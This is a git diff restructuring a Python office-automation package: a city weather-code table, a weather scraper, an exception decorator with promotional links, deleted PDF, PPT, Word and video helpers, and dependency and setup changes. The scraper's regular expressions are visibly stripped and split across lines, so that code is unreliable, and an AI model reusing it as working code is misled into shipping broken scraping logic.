+ '黄平': 101260505, '黄平旧洲': 101260506, '麻江': 101260507, '丹寨': 101260508, '三穗': 101260509,
+ '台江': 101260510,
+ '剑河': 101260511, '雷山': 101260512, '黎平': 101260513, '天柱': 101260514, '锦屏': 101260515,
+ '榕江': 101260516,
+ '从江': 101260517, '炉山': 101260518, '铜仁': 101260601, '江口': 101260602, '玉屏': 101260603,
+ '万山': 101260604,
+ '思南': 101260605, '塘头': 101260606, '印江': 101260607, '石阡': 101260608, '沿河': 101260609,
+ '德江': 101260610,
+ '松桃': 101260611, '毕节': 101260701, '赫章': 101260702, '金沙': 101260703, '威宁': 101260704,
+ '大方': 101260705,
+ '纳雍': 101260706, '织金': 101260707, '六盘水': 101260801, '六枝': 101260802, '水城': 101260803,
+ '盘县': 101260804,
+ '黔西': 101260901, '晴隆': 101260902, '兴仁': 101260903, '贞丰': 101260904, '望谟': 101260905,
+ '兴义': 101260906,
+ '安龙': 101260907, '册亨': 101260908, '普安': 101260909, '成都': 101270101, '龙泉驿': 101270102,
+ '新都': 101270103,
+ '温江': 101270104, '金堂': 101270105, '双流': 101270106, '郫县': 101270107, '大邑': 101270108,
+ '蒲江': 101270109,
+ '新津': 101270110, '都江堰': 101270111, '彭州': 101270112, '邛崃': 101270113, '崇州': 101270114,
+ '崇庆': 101270115,
+ '彭县': 101270116, '攀枝花': 101270201, '仁和': 101270202, '米易': 101270203, '盐边': 101270204,
+ '自贡': 101270301,
+ '富顺': 101270302, '荣县': 101270303, '绵阳': 101270401, '三台': 101270402, '盐亭': 101270403,
+ '安县': 101270404,
+ '梓潼': 101270405, '北川': 101270406, '平武': 101270407, '江油': 101270408, '南充': 101270501,
+ '南部': 101270502,
+ '营山': 101270503, '蓬安': 101270504, '仪陇': 101270505, '西充': 101270506, '阆中': 101270507,
+ '达州': 101270601,
+ '宣汉': 101270602, '开江': 101270603, '大竹': 101270604, '渠县': 101270605, '万源': 101270606,
+ '达川': 101270607,
+ '遂宁': 101270701, '蓬溪': 101270702, '射洪': 101270703, '广安': 101270801, '岳池': 101270802,
+ '武胜': 101270803,
+ '邻水': 101270804, '华蓥山': 101270805, '巴中': 101270901, '通江': 101270902, '南江': 101270903,
+ '平昌': 101270904,
+ '泸州': 101271001, '泸县': 101271003, '合江': 101271004, '叙永': 101271005, '古蔺': 101271006,
+ '纳溪': 101271007,
+ '宜宾': 101271101, '宜宾农试站': 101271102, '宜宾县': 101271103, '江安': 101271105, '长宁': 101271106,
+ '高县': 101271107,
+ '珙县': 101271108, '筠连': 101271109, '兴文': 101271110, '屏山': 101271111, '内江': 101271201,
+ '东兴': 101301403,
+ '威远': 101271203, '资中': 101271204, '隆昌': 101271205, '资阳': 101271301, '安岳': 101271302,
+ '乐至': 101271303,
+ '简阳': 101271304, '乐山': 101271401, '犍为': 101271402, '井研': 101271403, '夹江': 101271404,
+ '沐川': 101271405,
+ '峨边': 101271406, '马边': 101271407, '峨眉': 101271408, '峨眉山': 101271409, '眉山': 101271501,
+ '仁寿': 101271502,
+ '彭山': 101271503, '洪雅': 101271504, '丹棱': 101271505, '青神': 101271506, '凉山': 101271601,
+ '木里': 101271603,
+ '盐源': 101271604, '德昌': 101271605, '会理': 101271606, '会东': 101271607, '宁南': 101271608,
+ '普格': 101271609,
+ '西昌': 101271610, '金阳': 101271611, '昭觉': 101271612, '喜德': 101271613, '冕宁': 101271614,
+ '越西': 101271615,
+ '甘洛': 101271616, '雷波': 101271617, '美姑': 101271618, '布拖': 101271619, '雅安': 101271701,
+ '名山': 101271702,
+ '荣经': 101271703, '汉源': 101271704, '石棉': 101271705, '天全': 101271706, '芦山': 101271707,
+ '宝兴': 101271708,
+ '甘孜': 101271801, '康定': 101271802, '泸定': 101271803, '丹巴': 101271804, '九龙': 101320102,
+ '雅江': 101271806,
+ '道孚': 101271807, '炉霍': 101271808, '新龙': 101271809, '德格': 101271810, '白玉': 101271811,
+ '石渠': 101271812,
+ '色达': 101271813, '理塘': 101271814, '巴塘': 101271815, '乡城': 101271816, '稻城': 101271817,
+ '得荣': 101271818,
+ '阿坝': 101271901, '汶川': 101271902, '理县': 101271903, '茂县': 101271904, '松潘': 101271905,
+ '九寨沟': 101271906,
+ '金川': 101271907, '小金': 101271908, '黑水': 101271909, '马尔康': 101271910, '壤塘': 101271911,
+ '若尔盖': 101271912,
+ '红原': 101271913, '南坪': 101271914, '德阳': 101272001, '中江': 101272002, '广汉': 101272003,
+ '什邡': 101272004,
+ '绵竹': 101272005, '罗江': 101272006, '广元': 101272101, '旺苍': 101272102, '青川': 101272103,
+ '剑阁': 101272104,
+ '苍溪': 101272105, '广州': 101280101, '番禺': 101280102, '从化': 101280103, '增城': 101280104,
+ '花都': 101280105,
+ '天河': 101280106, '韶关': 101280201, '乳源': 101280202, '始兴': 101280203, '翁源': 101280204,
+ '乐昌': 101280205,
+ '仁化': 101280206, '南雄': 101280207, '新丰': 101280208, '曲江': 101280209, '惠州': 101280301,
+ '博罗': 101280302,
+ '惠阳': 101280303, '惠东': 101280304, '龙门': 101280305, '梅州': 101280401, '兴宁': 101280402,
+ '蕉岭': 101280403,
+ '大埔': 101280404, '丰顺': 101280406, '平远': 101280407, '五华': 101280408, '梅县': 101280409,
+ '汕头': 101280501,
+ '潮阳': 101280502, '澄海': 101280503, '南澳': 101280504, '云澳': 101280505, '南澎岛': 101280506,
+ '深圳': 101280601,
+ '珠海': 101280701, '斗门': 101280702, '黄茅洲': 101280703, '佛山': 101280800, '顺德': 101280801,
+ '三水': 101280802,
+ '南海': 101280803, '肇庆': 101280901, '广宁': 101280902, '四会': 101280903, '德庆': 101280905,
+ '怀集': 101280906,
+ '封开': 101280907, '高要': 101280908, '湛江': 101281001, '吴川': 101281002, '雷州': 101281003,
+ '徐闻': 101281004,
+ '廉江': 101281005, '硇洲': 101281006, '遂溪': 101281007, '江门': 101281101, '开平': 101281103,
+ '新会': 101281104,
+ '恩平': 101281105, '台山': 101281106, '上川岛': 101281107, '鹤山': 101281108, '河源': 101281201,
+ '紫金': 101281202,
+ '连平': 101281203, '和平': 101281204, '龙川': 101281205, '清远': 101281301, '连南': 101281302,
+ '连州': 101281303,
+ '连山': 101281304, '阳山': 101281305, '佛冈': 101281306, '英德': 101281307, '云浮': 101281401,
+ '罗定': 101281402,
+ '新兴': 101281403, '郁南': 101281404, '潮州': 101281501, '饶平': 101281502, '东莞': 101281601,
+ '中山': 101281701,
+ '阳江': 101281801, '阳春': 101281802, '揭阳': 101281901, '揭西': 101281902, '普宁': 101281903,
+ '惠来': 101281904,
+ '茂名': 101282001, '高州': 101282002, '化州': 101282003, '电白': 101282004, '信宜': 101282005,
+ '汕尾': 101282101,
+ '海丰': 101282102, '陆丰': 101282103, '遮浪': 101282104, '东沙岛': 101282105, '昆明': 101290101,
+ '昆明农试站': 101290102,
+ '东川': 101290103, '寻甸': 101290104, '晋宁': 101290105, '宜良': 101290106, '石林': 101290107,
+ '呈贡': 101290108,
+ '富民': 101290109, '嵩明': 101290110, '禄劝': 101290111, '安宁': 101290112, '太华山': 101290113,
+ '大理': 101290201,
+ '云龙': 101290202, '漾鼻': 101290203, '永平': 101290204, '宾川': 101290205, '弥渡': 101290206,
+ '祥云': 101290207,
+ '魏山': 101290208, '剑川': 101290209, '洱源': 101290210, '鹤庆': 101290211, '南涧': 101290212,
+ '红河': 101290301,
+ '石屏': 101290302, '建水': 101290303, '弥勒': 101290304, '元阳': 101290305, '绿春': 101290306,
+ '开远': 101290307,
+ '个旧': 101290308, '蒙自': 101290309, '屏边': 101290310, '泸西': 101290311, '金平': 101290312,
+ '曲靖': 101290401,
+ '沾益': 101290402, '陆良': 101290403, '富源': 101290404, '马龙': 101290405, '师宗': 101290406,
+ '罗平': 101290407,
+ '会泽': 101290408, '宣威': 101290409, '保山': 101290501, '富宁': 101290502, '龙陵': 101290503,
+ '施甸': 101290504,
+ '昌宁': 101290505, '腾冲': 101290506, '文山': 101290601, '西畴': 101290602, '马关': 101290603,
+ '麻栗坡': 101290604,
+ '砚山': 101290605, '邱北': 101290606, '广南': 101290607, '玉溪': 101290701, '澄江': 101290702,
+ '江川': 101290703,
+ '通海': 101290704, '华宁': 101290705, '新平': 101290706, '易门': 101290707, '峨山': 101290708,
+ '元江': 101290709,
+ '楚雄': 101290801, '大姚': 101290802, '元谋': 101290803, '姚安': 101290804, '牟定': 101290805,
+ '南华': 101290806,
+ '武定': 101290807, '禄丰': 101290808, '双柏': 101290809, '永仁': 101290810, '普洱': 101290905,
+ '景谷': 101290902,
+ '景东': 101290903, '澜沧': 101290904, '墨江': 101290906, '江城': 101290907, '孟连': 101290908,
+ '西盟': 101290909,
+ '镇源': 101290910, '镇沅': 101290911, '宁洱': 101290912, '昭通': 101291001, '鲁甸': 101291002,
+ '彝良': 101291003,
+ '镇雄': 101291004, '威信': 101291005, '巧家': 101291006, '绥江': 101291007, '永善': 101291008,
+ '盐津': 101291009,
+ '大关': 101291010, '临沧': 101291101, '沧源': 101291102, '耿马': 101291103, '双江': 101291104,
+ '凤庆': 101291105,
+ '永德': 101291106, '云县': 101291107, '镇康': 101291108, '怒江': 101291201, '福贡': 101291203,
+ '兰坪': 101291204,
+ '泸水': 101291205, '六库': 101291206, '贡山': 101291207, '香格里拉': 101291301, '德钦': 101291302,
+ '维西': 101291303,
+ '中甸': 101291304, '丽江': 101291401, '永胜': 101291402, '华坪': 101291403, '宁蒗': 101291404,
+ '德宏': 101291501,
+ '潞江坝': 101291502, '陇川': 101291503, '盈江': 101291504, '畹町镇': 101291505, '瑞丽': 101291506,
+ '梁河': 101291507,
+ '潞西': 101291508, '景洪': 101291601, '大勐龙': 101291602, '勐海': 101291603, '景洪电站': 101291604,
+ '勐腊': 101291605,
+ '南宁': 101300101, '南宁城区': 101300102, '邕宁': 101300103, '横县': 101300104, '隆安': 101300105,
+ '马山': 101300106,
+ '上林': 101300107, '武鸣': 101300108, '宾阳': 101300109, '硕龙': 101300110, '崇左': 101300201,
+ '天等': 101300202,
+ '龙州': 101300203, '凭祥': 101300204, '大新': 101300205, '扶绥': 101300206, '宁明': 101300207,
+ '海渊': 101300208,
+ '柳州': 101300301, '柳城': 101300302, '沙塘': 101300303, '鹿寨': 101300304, '柳江': 101300305,
+ '融安': 101300306,
+ '融水': 101300307, '三江': 101300308, '来宾': 101300401, '忻城': 101300402, '金秀': 101300403,
+ '象州': 101300404,
+ '武宣': 101300405, '桂林': 101300501, '桂林农试站': 101300502, '龙胜': 101300503, '永福': 101300504,
+ '临桂': 101300505,
+ '兴安': 101300506, '灵川': 101300507, '全州': 101300508, '灌阳': 101300509, '阳朔': 101300510,
+ '恭城': 101300511,
+ '平乐': 101300512, '荔浦': 101300513, '资源': 101300514, '梧州': 101300601, '藤县': 101300602,
+ '太平': 101300603,
+ '苍梧': 101300604, '蒙山': 101300605, '岑溪': 101300606, '贺州': 101300701, '昭平': 101300702,
+ '富川': 101300703,
+ '钟山': 101300704, '信都': 101300705, '贵港': 101300801, '桂平': 101300802, '平南': 101300803,
+ '玉林': 101300901,
+ '博白': 101300902, '北流': 101300903, '容县': 101300904, '陆川': 101300905, '百色': 101301001,
+ '那坡': 101301002,
+ '田阳': 101301003, '德保': 101301004, '靖西': 101301005, '田东': 101301006, '平果': 101301007,
+ '隆林': 101301008,
+ '西林': 101301009, '乐业': 101301010, '凌云': 101301011, '田林': 101301012, '钦州': 101301101,
+ '浦北': 101301102,
+ '灵山': 101301103, '河池': 101301201, '天峨': 101301202, '东兰': 101301203, '巴马': 101301204,
+ '环江': 101301205,
+ '罗城': 101301206, '宜州': 101301207, '凤山': 101301208, '南丹': 101301209, '都安': 101301210,
+ '北海': 101301301,
+ '合浦': 101301302, '涠洲岛': 101301303, '防城港': 101301401, '上思': 101301402, '板栏': 101301404,
+ '防城': 101301405,
+ '海口': 101310101, '琼山': 101310102, '三亚': 101310201, '东方': 101310202, '临高': 101310203,
+ '澄迈': 101310204,
+ '儋州': 101310205, '昌江': 101310206, '白沙': 101310207, '琼中': 101310208, '定安': 101310209,
+ '屯昌': 101310210,
+ '琼海': 101310211, '文昌': 101310212, '清兰': 101310213, '保亭': 101310214, '万宁': 101310215,
+ '陵水': 101310216,
+ '西沙': 101310217, '珊瑚岛': 101310218, '永署礁': 101310219, '南沙岛': 101310220, '乐东': 101310221,
+ '五指山': 101310222,
+ '通什': 101310223, '香港': 101320101, '新界': 101320103, '中环': 101320104, '铜锣湾': 101320105,
+ '澳门': 101330101,
+ '台北县': 101340101, '台北市': 101340102, '高雄': 101340201, '大武': 101340203, '恒春': 101340204,
+ '兰屿': 101340205,
+ '台南': 101340301, '台中': 101340401, '桃园': 101340501, '新竹县': 101340601, '新竹市': 101340602,
+ '公馆': 101340603,
+ '宜兰': 101340701, '马公': 101340801, '东吉屿': 101340802, '嘉义': 101340901, '阿里山': 101340902,
+ '新港': 101340904}
diff --git a/office/lib/tools/weather_service.py b/office/lib/tools/weather_service.py
new file mode 100644
index 0000000..ba4e804
--- /dev/null
+++ b/office/lib/tools/weather_service.py
@@ -0,0 +1,24 @@
+import requests
+import re
+
+#天气爬虫
+def weather_spider(url,headers):
+ response = requests.get(url,headers)
+ content = response.content.decode('utf-8')
+ pat_weather = re.compile(' ')
+ pat_up_time = re.compile(' ')
+ weather = pat_weather.findall(content)
+ up_time = pat_up_time.findall(content)
+ print(weather[0])
+ print('更新时间:',up_time[0])
+ ask_ok = input('是否深入查看(Y/N):')
+ if ask_ok == 'Y' or ask_ok == 'y':
+ pat_more_weather = re.compile('.(.*?) \n(.*?) \n(.*?)
.*?\n ',re.S)
+ more_weather = pat_more_weather.findall(content)
+ for item in more_weather:
+ if item[1] != '减肥指数':
+ print(item[1],':',item[0],',',item[2])
+ else:
+ print(item[1],':',item[2])
+
+
diff --git a/office/lib/utils/__init__.py b/office/lib/utils/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/lib/utils/except_utils.py b/office/lib/utils/except_utils.py
new file mode 100644
index 0000000..eb8f295
--- /dev/null
+++ b/office/lib/utils/except_utils.py
@@ -0,0 +1,34 @@
+from datetime import datetime
+# import traceback
+from functools import wraps
+
+
+# 统一的异常输出
+from office.lib.conf.CONST import SPLIT_LINE
+
+
+def except_dec(msg='异常原因'):
+ # msg用于自定义函数的提示信息
+ def except_execute(func):
+ @wraps(func)
+ def execept_print(*args, **kwargs):
+ try:
+ return func(*args, **kwargs)
+ except Exception as e:
+ print('=' * 30)
+
+ print('糟糕,你的程序出现了异常')
+ print(
+ f'>>>异常时间:\t{datetime.now()}\n>>>异常函数:\t{func.__name__}\n>>>{msg}:\t{e}')
+
+ print('别慌,你的异常也许【群友也遇到过】 → http://www.python4office.cn/wechat-group/')
+ print('当然,也可以免费【加入星球,向我提问】 → http://t.cn/A6qeZpVt')
+
+
+ print(SPLIT_LINE)
+
+ # print(f'{sign}{traceback.format_exc()}{sign}')
+
+ return execept_print
+
+ return except_execute
diff --git a/utils/pandas_mem.py b/office/lib/utils/pandas_mem.py
similarity index 100%
rename from utils/pandas_mem.py
rename to office/lib/utils/pandas_mem.py
diff --git a/office/lib/utils/time_utils.py b/office/lib/utils/time_utils.py
new file mode 100644
index 0000000..a1adf80
--- /dev/null
+++ b/office/lib/utils/time_utils.py
@@ -0,0 +1,12 @@
+import time
+
+
+def time_count_dec(func):
+ def wrapper(*args, **kwargs):
+ t1 = time.time()
+ res = func(*args, **kwargs)
+ t2 = time.time()
+ print(func.__name__ + "执行耗时" + str(t2 - t1))
+ return res
+
+ return wrapper
diff --git a/office/pdf.py b/office/pdf.py
deleted file mode 100644
index 4bef0f9..0000000
--- a/office/pdf.py
+++ /dev/null
@@ -1,51 +0,0 @@
-# -*- coding: utf-8 -*-
-import os
-from fpdf import FPDF
-from service.pdf import add_watermark_service
-import pikepdf
-
-
-#给pdf加水印
-def add_watermark():
- pdf_file_in = input("请输入需要添加水印的文件位置:") # 需要添加水印的文件
- Watermark_Str = input("请输入需要添加的水印内容:")
- print('=' * 20)
- print('正在按要求,给你的PDF文件添加水印,请让程序飞一会儿~')
- print('=' * 20)
- pdf_file_mark = 'watermark.pdf' # 水印文件
- add_watermark_service.create_watermark(str(Watermark_Str))
- pdf_file_out = '添加了水印的文件.pdf' # 添加PDF水印后的文件
- add_watermark_service.pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out)
- print("水印添加结束,请打开电脑上的这个位置,查看结果文件:{path}".format(path=os.getcwd()))
-
-# txt转pdf
-def txt2pdf(path,res_pdf='txt2pdf.pdf'):
- pdf = FPDF()
- pdf.add_page() # Add a page
- pdf.set_font("Arial", size=15) # set style and size of font
- f = open(path, "r") # open the text file in read mode
- # insert the texts in pdf
- for x in f:
- pdf.cell(50, 5, txt=x, ln=1, align='C')
- # pdf.output("path where you want to store pdf file\\file_name.pdf")
- pdf.output(res_pdf)
-
-
-# PDF加密
-def encrypt4pdf(path, password, res_pdf='encrypt.pdf'):
- """
- @Author & Date : CoderWanFeng 2022/5/9 18:27
- @Desc : path: 存放文件的路径
- password: 你的密码
- res_pdf: 结果文件的名称 ,可以为空,默认是:encrypt.pdf
- """
- pdf = pikepdf.open(path)
- pdf.save(res_pdf, encryption=pikepdf.Encryption(owner=password, user=password,R=4))
- pdf.close()
-
-
-# PDF解密
-def decrypt4pdf(path, password, res_pdf='decrypt.pdf'):
- pdf = pikepdf.open(path, password=password)
- pdf.save(res_pdf)
- pdf.close()
diff --git a/office/ppt.py b/office/ppt.py
deleted file mode 100644
index afb2df1..0000000
--- a/office/ppt.py
+++ /dev/null
@@ -1,38 +0,0 @@
-#!/usr/bin/env python
-# -*- coding:utf-8 -*-
-
-#############################################
-# File Name: ppt.py
-# Mail: 1957875073@qq.com
-# Created Time: 2022-4-25 10:17:34
-# Description: 有关 ppt 的自动化操作
-#############################################
-import os
-from alive_progress import alive_bar
-import time
-
-from service.ppt.ppt2pdf_service import ppt2pdf_single
-
-
-def ppt2pdf(path):
- """
- @Author & Date : CoderWanFeng 2022/5/9 23:34
- @Desc : path:存放ppt的路径,必须写绝对路径~!
- """
- # 列出指定目录的内容
- filenames = os.listdir(path)
- # for循环依次访问指定目录的所有文件名
- for filename in filenames:
- # 判断文件的类型,对所有的ppt文件进行处理(ppt文件以ppt或者pptx结尾的)
- if filename.endswith('ppt') or filename.endswith('pptx'):
- # print(filename) # PPT素材1.pptx -> PPT素材1.pdf
- # 将filename以.进行分割,返回2个信息,文件的名称和文件的后缀名
- base, ext = filename.split('.') # base=PPT素材1 ext=pdf
- new_name = base + '.pdf' # PPT素材1.pdf
- # ppt文件的完整位置: C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pptx
- filename = path + '/' + filename
- # pdf文件的完整位置: C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pdf
- output_filename = path + '/' + new_name
- # 将ppt转成pdf文件
- ppt2pdf_single(filename, output_filename)
- time.sleep(3)
\ No newline at end of file
diff --git a/office/tools.py b/office/tools.py
deleted file mode 100644
index b98a927..0000000
--- a/office/tools.py
+++ /dev/null
@@ -1,37 +0,0 @@
-# import the library
-from translate import Translator
-import qrcode
-import string
-import random
-
-
-def transtools(to_lang, content):
- # specifying the language
- translator = Translator(to_lang)
- # typing the message
- translation = translator.translate(content)
- # print the translated message
- print(translation)
-
-
-def qrcodetools(url):
- # Creating object
- # version: defines size of image from integer(1 to 40), box_size = size of each box in pixels, border = thickness of the border.
- qr = qrcode.QRCode(version=1, box_size=10, border=5)
- # add_date : pass the input text
- qr.add_data(url)
- # converting into image
- qr.make(fit=True)
- # specify the foreground and background color for the img
- img = qr.make_image(fill='black', back_color='white')
- # store the image
- img.save('qrcode_img.png')
-
-def passwordtools(len = 8):
- """
- @Author & Date : CoderWanFeng 2022/5/9 11:54
- @Desc : 随机密码生成器,默认是8位
- @Return :
- """
- chars = string.digits + string.ascii_letters
- return ''.join(random.sample(chars * 10, len))
\ No newline at end of file
diff --git a/office/video.py b/office/video.py
deleted file mode 100644
index 9137421..0000000
--- a/office/video.py
+++ /dev/null
@@ -1,18 +0,0 @@
-# import library
-import moviepy.editor as mp
-
-#从视频里提取音频
-def video2mp3(path, mp3_name=None):
- """
- :param path: 视频文件的路径
- :param mp3_name: mp3的名字,可以为空
- :return:
- """
- # specify the mp4 file here(mention the file path if it is in different directory)
- clip = mp.VideoFileClip(path)
- if mp3_name:
- clip.audio.write_audiofile(str(mp3_name) + '.mp3')
- else:
- # specify the name for mp3 extracted
- clip.audio.write_audiofile('Audio.mp3')
- # you will notice mp3 file will be created at the specified location.
diff --git a/office/word.py b/office/word.py
deleted file mode 100644
index a2decb5..0000000
--- a/office/word.py
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/usr/bin/env python
-#-*- coding:utf-8 -*-
-
-#############################################
-# File Name: word.py
-# Author: 程序员晚枫
-# Mail: 1957875073@qq.com
-# Created Time: 2022-4-25 10:17:34
-# Description: 有关word的自动化操作
-#############################################
-
-from win32com.client import constants, gencache
-import os # 目录的操作
-
-
-def createpdf(wordPath, pdfPath):
- word = gencache.EnsureDispatch('Word.Application')
- doc = word.Documents.Open(wordPath, ReadOnly=1)
- # 转换方法
- doc.ExportAsFixedFormat(pdfPath, constants.wdExportFormatPDF)
- word.Quit()
-
-
-
-# 1、文件的批量转换
-# 自己指定路径,
-# 为了适配wps不能转换doc的问题,这里限定:只能转换docx
-def docx2pdf(path):
- print(os.listdir(path)) # 当前文件夹下的所有文件
- wordfiles = []
- for file in os.listdir('.'):
- if file.endswith(('.docx')): # 通过后缀找出所有的workd文件
- wordfiles.append(file)
- print(wordfiles)
-
- for file in wordfiles:
- # 获取文件路径
- filepath = os.path.abspath(file)
- index = filepath.rindex('.')
- # 通过截取获取pdfpath
- pdfpath = filepath[:index] + '.pdf'
- print(pdfpath)
- createpdf(filepath, pdfpath)
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..7e4a117
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,39 @@
+alive_progress==3.1.5
+auto_mix_prep==0.2.0
+Faker==25.2.0
+moviepy==1.0.3
+numpy==1.26.4
+openpyxl==3.1.2
+pandas==2.2.2
+pdf2image==1.17.0
+Pillow==10.3.0
+pocode==0.0.3
+poemail==0.0.3
+pypandoc==1.13
+PyPDF2==3.0.1
+PyQt5==5.15.10
+pytest==8.2.1
+pywifi==1.1.12
+pywin32==306
+qt_material==2.14
+reportlab==4.2.0
+Requests==2.32.2
+search4file==0.1.15
+setuptools==69.0.2
+tqdm==4.66.4
+typer==0.12.3
+wftools==0.0.9
+xlrd==2.0.1
+xlwt==1.3.0
+
+pofile~=0.1.5
+poexcel~=0.0.22
+poimage~=0.0.22
+poprogress~=0.0.2
+PyOfficeRobot~=0.1.21
+popdf~=1.0.1
+poppt~=0.1.1
+pospider~=0.0.1
+poword~=0.0.17
+povideo~=0.0.8
+pomarkdown~=0.0.3
\ No newline at end of file
diff --git a/service/__init__.py b/service/__init__.py
deleted file mode 100644
index 3cb249b..0000000
--- a/service/__init__.py
+++ /dev/null
@@ -1,3 +0,0 @@
-from . import image
-from . import pdf
-from . import ppt
\ No newline at end of file
diff --git a/service/image/__init__.py b/service/image/__init__.py
deleted file mode 100644
index 11d9602..0000000
--- a/service/image/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-from . import add_watermark_service
\ No newline at end of file
diff --git a/service/pdf/__init__.py b/service/pdf/__init__.py
deleted file mode 100644
index 11d9602..0000000
--- a/service/pdf/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-from . import add_watermark_service
\ No newline at end of file
diff --git a/service/ppt/__init__.py b/service/ppt/__init__.py
deleted file mode 100644
index 8cdc191..0000000
--- a/service/ppt/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-from . import ppt2pdf_service
\ No newline at end of file
diff --git a/setup.cfg b/setup.cfg
index a217372..d57c1e3 100644
--- a/setup.cfg
+++ b/setup.cfg
@@ -1,7 +1,7 @@
[metadata]
name = python-office
-version = 0.0.19
-description = python for office
+version = 1.0.1
+description = www.python-office.com
long_description = file: README.md
long_description_content_type = text/markdown
url = https://github.com/CoderWanFeng/python-office
@@ -11,36 +11,34 @@ license = Apache-2.0 license
license_file = LICENSE
platforms = any
-project_urls =
- Bug Tracker = https://github.com/CoderWanFeng/python-office/issues
- Documentation = https://github.com/CoderWanFeng/python-office/blob/master/README.md
- Source Code = https://github.com/CoderWanFeng/python-office
+project_urls =
+ Bug Tracker = https://github.com/CoderWanFeng/python-office/issues
+ Documentation = https://github.com/CoderWanFeng/python-office/blob/master/README.md
+ Source Code = https://github.com/CoderWanFeng/python-office
[options]
packages = find:
-install_requires =
- xlrd
- xlwt
- xlutils
- xlwings
- python-docx
- python-pptx
- PyPDF2
- easyocr
- openpyxl
- pandas
- Faker
- reportlab
- rich >= 9.13.0
- moviepy
- fpdf
- qrcode
- translate
- pikepdf
- pypiwin32
- progress
- alive_progress
+install_requires =
+ poppt;platform_system=='Windows'
+ poword;platform_system=='Windows'
+ search4file;platform_system=='Windows'
+ PyOfficeRobot;platform_system=='Windows'
+ rich >= 9.13.0
+ you-get
+ poimage
+ poexcel
+ pofile
+ popdf
+ wftools
+ povideo
+ poprogress
+ poocr
+ pocode
+ poemail
+ pospider
+ loguru
+ pomarkdown
+
python_requires = >=3.6
include_package_data = True
zip_safe = False
-
diff --git a/setup.py b/setup.py
index d93df10..06105c5 100644
--- a/setup.py
+++ b/setup.py
@@ -1,14 +1,14 @@
#!/usr/bin/env python
-#-*- coding:utf-8 -*-
+# -*- coding:utf-8 -*-
#############################################
# File Name: setup.py
-# Author: 程序员晚枫
+# 公众号/B站/小红书/抖音/知乎: 程序员晚枫
# Mail: 1957875073@qq.com
# Created Time: 2022-4-19 10:17:34
-# Description: https://mp.weixin.qq.com/s/zzD4pxNMFd0ZuWqXlVFdAg
+# Description: https://mp.weixin.qq.com/s/zzD4pxNMFd0ZuWqXlVFdAg \ https://setuptools.pypa.io/en/latest/userguide/dependency_management.html
#############################################
-from setuptools import setup #这个包没有的可以pip一下
+from setuptools import setup # 这个包没有的可以pip一下
setup()
diff --git a/tests/__init__.py b/tests/__init__.py
new file mode 100644
index 0000000..3ef7425
--- /dev/null
+++ b/tests/__init__.py
@@ -0,0 +1,9 @@
+# pip install python-office -i https://pypi.python.org/simple -U
+# pip install PyOfficeRobot -i https://pypi.python.org/simple -U
+# pip install poimage -i https://pypi.python.org/simple -U
+
+# 1、pip freeze > allpackages.txt
+# 2、pip uninstall -r allpackages.txt -y
+# 3、pip install --upgrade python-office
+
+# 下载次数:https://pypistats.org/packages/python-office
\ No newline at end of file
diff --git a/tests/assets/style.css b/tests/assets/style.css
new file mode 100644
index 0000000..3edac88
--- /dev/null
+++ b/tests/assets/style.css
@@ -0,0 +1,186 @@
+body {
+ font-family: Helvetica, Arial, sans-serif;
+ font-size: 12px;
+ /* do not increase min-width as some may use split screens */
+ min-width: 800px;
+ color: #999;
+}
+
+h1 {
+ font-size: 24px;
+ color: black;
+}
+
+h2 {
+ font-size: 16px;
+ color: black;
+}
+
+p {
+ color: black;
+}
+
+a {
+ color: #999;
+}
+
+table {
+ border-collapse: collapse;
+}
+
+/******************************
+ * SUMMARY INFORMATION
+ ******************************/
+#environment td {
+ padding: 5px;
+ border: 1px solid #E6E6E6;
+}
+#environment tr:nth-child(odd) {
+ background-color: #f6f6f6;
+}
+
+/******************************
+ * TEST RESULT COLORS
+ ******************************/
+span.passed,
+.passed .col-result {
+ color: green;
+}
+
+span.skipped,
+span.xfailed,
+span.rerun,
+.skipped .col-result,
+.xfailed .col-result,
+.rerun .col-result {
+ color: orange;
+}
+
+span.error,
+span.failed,
+span.xpassed,
+.error .col-result,
+.failed .col-result,
+.xpassed .col-result {
+ color: red;
+}
+
+/******************************
+ * RESULTS TABLE
+ *
+ * 1. Table Layout
+ * 2. Extra
+ * 3. Sorting items
+ *
+ ******************************/
+/*------------------
+ * 1. Table Layout
+ *------------------*/
+#results-table {
+ border: 1px solid #e6e6e6;
+ color: #999;
+ font-size: 12px;
+ width: 100%;
+}
+#results-table th,
+#results-table td {
+ padding: 5px;
+ border: 1px solid #E6E6E6;
+ text-align: left;
+}
+#results-table th {
+ font-weight: bold;
+}
+
+/*------------------
+ * 2. Extra
+ *------------------*/
+.log {
+ background-color: #e6e6e6;
+ border: 1px solid #e6e6e6;
+ color: black;
+ display: block;
+ font-family: "Courier New", Courier, monospace;
+ height: 230px;
+ overflow-y: scroll;
+ padding: 5px;
+ white-space: pre-wrap;
+}
+.log:only-child {
+ height: inherit;
+}
+
+div.image {
+ border: 1px solid #e6e6e6;
+ float: right;
+ height: 240px;
+ margin-left: 5px;
+ overflow: hidden;
+ width: 320px;
+}
+div.image img {
+ width: 320px;
+}
+
+div.video {
+ border: 1px solid #e6e6e6;
+ float: right;
+ height: 240px;
+ margin-left: 5px;
+ overflow: hidden;
+ width: 320px;
+}
+div.video video {
+ overflow: hidden;
+ width: 320px;
+ height: 240px;
+}
+
+.collapsed {
+ display: none;
+}
+
+.expander::after {
+ content: " (show details)";
+ color: #BBB;
+ font-style: italic;
+ cursor: pointer;
+}
+
+.collapser::after {
+ content: " (hide details)";
+ color: #BBB;
+ font-style: italic;
+ cursor: pointer;
+}
+
+/*------------------
+ * 3. Sorting items
+ *------------------*/
+.sortable {
+ cursor: pointer;
+}
+
+.sort-icon {
+ font-size: 0px;
+ float: left;
+ margin-right: 5px;
+ margin-top: 5px;
+ /*triangle*/
+ width: 0;
+ height: 0;
+ border-left: 8px solid transparent;
+ border-right: 8px solid transparent;
+}
+.inactive .sort-icon {
+ /*finish triangle*/
+ border-top: 8px solid #E6E6E6;
+}
+.asc.active .sort-icon {
+ /*finish triangle*/
